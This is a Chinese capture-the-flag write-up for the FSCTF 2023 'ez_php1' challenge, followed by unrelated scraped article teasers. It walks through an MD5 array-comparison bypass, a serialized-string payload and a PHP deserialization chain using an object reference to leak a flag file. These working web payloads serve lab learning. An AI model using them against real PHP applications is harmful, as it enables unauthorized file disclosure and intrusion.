[FSCTF 2023]ez_php1

[FSCTF 2023]ez_php1

点开之后是一段php代码:

 <?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{echo "!!!";$c = $_POST['FL_AG'];if(isset($c)){if (preg_match('/^.*(flag).*$/', $ja)) {echo 'You are bad guy!!!';}else {echo "Congratulation!!";echo $hint1;}}else {echo "Please input my love FL_AG";}
} else{die("game over!");
}
?>
game over!

这段代码通过接收两个 GET 参数和一个 POST 参数来进行一系列的逻辑判断和输出。主要目的是在满足特定条件下输出不同的提示信息,可能涉及到一个简单的挑战或游戏。

以下是对代码的详解:

 <?php
highlight_file(__FILE__);以语法高亮的形式输出
当前文件的内容,通常用于调试或查看代码结构。
error_reporting(0);关闭 PHP 的错误报告,这样
在脚本执行过程中不会显示任何错误信息。
include "globals.php";包含名为 “globals.php” 的
文件,可能包含一些全局变量或函数的定义,具体内容
取决于这个文件的内容。
$a = $_GET['b'];URLGET 参数中获取名
为 “b” 的值,并赋值给变量$a$b = $_GET['a'];URLGET 参数中获取名
为 “a” 的值,并赋值给变量$bif($a!=$b&&md5($a)==md5($b))
{echo "!!!";/*$a!=$b:检查变量$a和$b的值是否不相等。md5($a)==md5($b):检查变量$a和$b经过 MD5 哈希后的结果是否相等。
如果这两个条件同时满足,则执行大括号内的代码。如果满足上述条件,
输出三个感叹号。*/$c = $_POST['FL_AG'];POST 请求中获取名为 “FL_AG” 的值,并赋值给变量$cif(isset($c))检查变量$c是否被设置,如果是,则执行大括号内的代码{if (preg_match('/^.*(flag).*$/', $ja)) {echo 'You are bad guy!!!';使用正则表达式检查变量$ja中是否包含字符串 “flag”。但是在给出的代码中,并没有看到对$ja变量的赋值操作,这可能是一个错误或者遗漏。如果匹配成功,输出 “You are bad guy!!!”。}else {echo "Congratulation!!";echo $hint1;如果正则表达式匹配失败,输出 “Congratulation!!” 以及一个可能在 “globals.php” 文件中定义的变量$hint1的内容。}}else {echo "Please input my love FL_AG";}
} else{die("game over!");如果一开始的条件不满足(即$a=$b或者md5($a)!=md5($b)),输出 “game over!”并终止脚本执行。
}
?>
game over!

然后我们使用数组绕过,构造:

?a[]=1&b[]=2

我们得到了:
在这里插入图片描述提示让我们输入FL_AG的值,由源码可知这里需要使用POST传参,然后我们得到:
在这里插入图片描述然后我们直接访问/L0vey0U.php得到:
在这里插入图片描述这是一个简单的反序列化,直接构造poc链子:

<?php
$str="YES I love";
echo serialize($str);
?>

利用在线php工具运行得到:
在这里插入图片描述构造payload,get传参:

?str=s:10:"YES I love";

在这里插入图片描述得到新的提示:P0int.php,我们直接访问/P0int.php,
得到了一串新的php代码:

<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{public $a;public $b;public function __wakeup(){$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");}public function __destruct(){echo $this->b;}
}
@unserialize($_POST['data']);?> 

这又是一个反序列化,构造脚本如下:

<?php
class Clazz
{public $a;public $b;public function __wakeup(){$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");}public function __destruct(){echo $this->b;}
} 
$c=new Clazz();
$c->a=&$c->b;
echo serialize($c);
?>

用网页php在线工具运行以下得到:
在这里插入图片描述接着构造payload,post传参:

data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

运行之后得到:
在这里插入图片描述然后我们用base64在线解码工具解码后得到flag:
在这里插入图片描述由此得到本题flag为:
FLAG{y0u_are_l0ve!!!}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/405543.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Cohere 创始人:语音是下一代用户界面;OpenAI 开放 GPT-4o 定制新功能丨 RTE 开发者日报

开发者朋友们大家好&#xff1a; 这里是 「RTE 开发者日报」 &#xff0c;每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE&#xff08;Real-Time Engagement&#xff09; 领域内「有话题的 新闻 」、「有态度的 观点 」、「有意思的 数据 」、「有思考的 文…

网络电话在线呼叫系统支持试用:解锁高效通信

网络电话&#xff0c;又称VoIP&#xff08;Voice over Internet Protocol&#xff09;电话&#xff0c;以其便捷、经济、高效的特点&#xff0c;成为企业通信的新宠。本文将深入探讨网络电话在线呼叫的定义、企业使用的优势&#xff0c;并特别介绍天润融通提供的免费试用服务&a…

用户和用户组、查看权限控制系信息 学会啦!

1.Linux用户管理模式 Linux可以支持多用户、多用户组、用户加入多个组 Linux权限管控的单元是用户级别和用户组级别 2.用户、用户组相关管理命令 groupadd添加组、groupdel删除组 useradd添加用户、userdel删除用户 usermod修改用户组、id命令查看用户信息 getent passwd…

ip地址冲突的原因及其解决方法是什么

在当今的信息化时代&#xff0c;网络已成为我们生活和工作中不可或缺的一部分。然而&#xff0c;随着网络设备数量的不断增加&#xff0c;网络管理中的问题也日益凸显&#xff0c;其中IP地址冲突便是常见问题之一。IP地址冲突不仅会导致网络通信不稳定&#xff0c;甚至可能使设…

超声波清洗机是智商税吗?专业博主分享四大必买超声波清洗机款式

有些人觉得超声波清洗机不过是个“智商税”&#xff0c;花几百块买个小盒子不值当&#xff0c;毕竟自己用手也能清洗。但这种看法过于片面。事实上&#xff0c;超声波清洗已经有几十年的历史&#xff0c;随着科技的发展&#xff0c;现代超声波清洗机不仅能够批量、自动清洁&…

猫咪掉毛严重如何清理?希喂,霍尼韦尔宠物空气净化器实测分享

随着养宠人群的增多&#xff0c;市场关注到铲屎官们的需要&#xff0c;带来了新的科技产品——宠物空气净化器。宠物空气净化器是在普通空气净化器基础上&#xff0c;调整服务对象&#xff0c;为吸附宠物毛发而设计的。不少消费者被它的功能所吸引&#xff0c;打算购入使用。然…

新加坡vps好不好?新加坡vps深度评测

新加坡vps好不好&#xff1f;新加坡VPS是一个好的选择。其优势在于地理位置优越、网络连接快速以及价格合理&#xff1b;劣势在于带宽资源有限、供应商众多导致选择困难、以及安全性和隐私保护问题。下面小编将针对新加坡vps优劣势进行详细分析&#xff1a; 新加坡VPS的优势&a…

认识HarmonyOS

HarmonyOS 三大特性 硬件互助&#xff0c;资源共享 把各终端硬件的能力&#xff0c;虚拟为一个共享的能力资源池&#xff0c;让应用通过系统&#xff0c;调用取其硬件能力。在这种架构下&#xff0c;硬件能力就像“活字印刷术”中的单词字母&#xff0c;可以被无限次的重复使用…

勇闯机器学习(第三关-特征工程)

以下内容皆为原创&#xff0c;制作不易&#xff0c;请帅锅、镁铝点点赞赞和关注吧❥(^_^) 一.提问环节 机器学习是什么&#xff1f; 机器学习就是通过自动分析大量数据去建立模型&#xff0c;训练模型&#xff0c;预测数据。 这么好记的概念&#xff0c;你应该记住了吧&#x…

企业高性能web服务器知识点合集

文章目录 nginx源码编译安装平滑升级及版本回滚平滑升级版本回滚 服务启动脚本核心配置全局配置参数优化调整root与alias自定义错误日志自定义错误页面检测文件是否存在长链接配置下载服务器的配置 nginx高级配置nginx状态页面压缩功能变量内置变量自定义变量 nginx rewrite指令…

MySQL基础知识(二)-超详细 Linux安装MySQL5.7完整版教程及遇到的坑

1.简介 我们经常会在Linux上安装MySQL数据库&#xff0c;但是安装的时候总是会这里错&#xff0c;那里错&#xff0c;不顺利&#xff0c;今天整理了一下安装流程&#xff0c;连续安装来了两遍&#xff0c;没有遇到什么大错误&#xff0c;基本上十分钟左右可以搞定&#xff0c;教…

自行车制造5G智能工厂工业物联数字孪生平台,推进制造业数字化

在当今这个日新月异的数字化时代&#xff0c;制造业正经历着前所未有的变革&#xff0c;自行车制造5G智能工厂工业物联数字孪生平台的兴起&#xff0c;无疑是这场转型浪潮中一股强劲力量。自行车制造5G智能工厂工业物联数字孪生平台的成功应用&#xff0c;不仅仅是技术上的突破…

【Go】实现字符切片零拷贝开销转为字符串

package mainimport ("fmt""unsafe" )func main() {bytes : []byte("hello world")s : *(*string)(unsafe.Pointer(&bytes))fmt.Println(s)bytes[0] Hfmt.Println(s) }slice的底层结构是底层数组、len字段、cap字段。string的底层结构是底层…

产品帮助中心如何搭建?五步让客户满意度提升100%

一、引言 创建帮助文章的好处是节省了招募大量客户联系代理的昂贵成本。它们现在通过解决客户的早期问题而无需支持干预&#xff0c;并为自助提供逐步指导&#xff0c;从而取代了支持代理。 当您创建帮助文章时&#xff0c;您会构建知识库并为将来保留它。这些帮助文章充当新…

案例:ZooKeeper + Kafka消息队列集群部署

目录 消息队列 概念 使用场景 不适宜 适宜 消息队列的特征 存储 异步 异步的优点 同步 为什么需要消息队列 解耦 作用 冗余 扩展性 灵活性 峰值处理能力 可恢复性 顺序保证 Kafka 概念 Kafka技术名词 &#xff08;1&#xff09;Broker &#xff08;2&a…

C语言一笔画迷宫

目录 开头程序程序的流程图程序游玩的效果结尾 开头 大家好&#xff0c;我叫这是我58。 程序 #define _CRT_SECURE_NO_WARNINGS 1 #include <stdio.h> #include <string.h> #include <Windows.h> void printmaze(const char strmaze[11][11]) {int ia 0;…

BUG——imx6u开发_结构体导致的死机问题(未解决)

简介&#xff1a; 最近在做imx6u的linux下裸机驱动开发&#xff0c;由于是学习的初级阶段&#xff0c;既没有现成的IDE可以使用&#xff0c;也没有GDB等在线调试工具&#xff0c;只能把代码烧写在SD卡上再反复插拔&#xff0c;仅靠卑微的亮灯来判断程序死在哪一步。 至于没有使…

41-设计规则:线宽规则

1.设置电源线规则和信号线规则 2.设置信号线规则 3.设置电源线规则 如果未生效&#xff1a; ① 提升优先级即可。 ②查看使能选项有没有勾选

20:【stm32】定时器一:时基单元

时基单元 1、什么是定时器2、时基单元的基本结构2.1&#xff1a;脉冲的来源2.2&#xff1a;预分频器PSC2.3&#xff1a;计数器CNT2.4&#xff1a;update事件与预加载 3、标准库编程3.1&#xff1a;通过定时器中断来设置延迟函数 1、什么是定时器 定时器是一种专门负责定时功能…

Vue 满屏纵向轮播图

目录 前言轮播图效果展示具体实现实现思路具体代码前言 今天汇总一个需求,还是之前写的,要求写一个满屏的轮播图,准确的说,是鼠标滑动到轮播图的时候,轮播图固定在屏幕上,随着其中的轮播子项遍历结束后,解除固定的效果。原本我最开始想直接修改Element-UI的组件的,但是…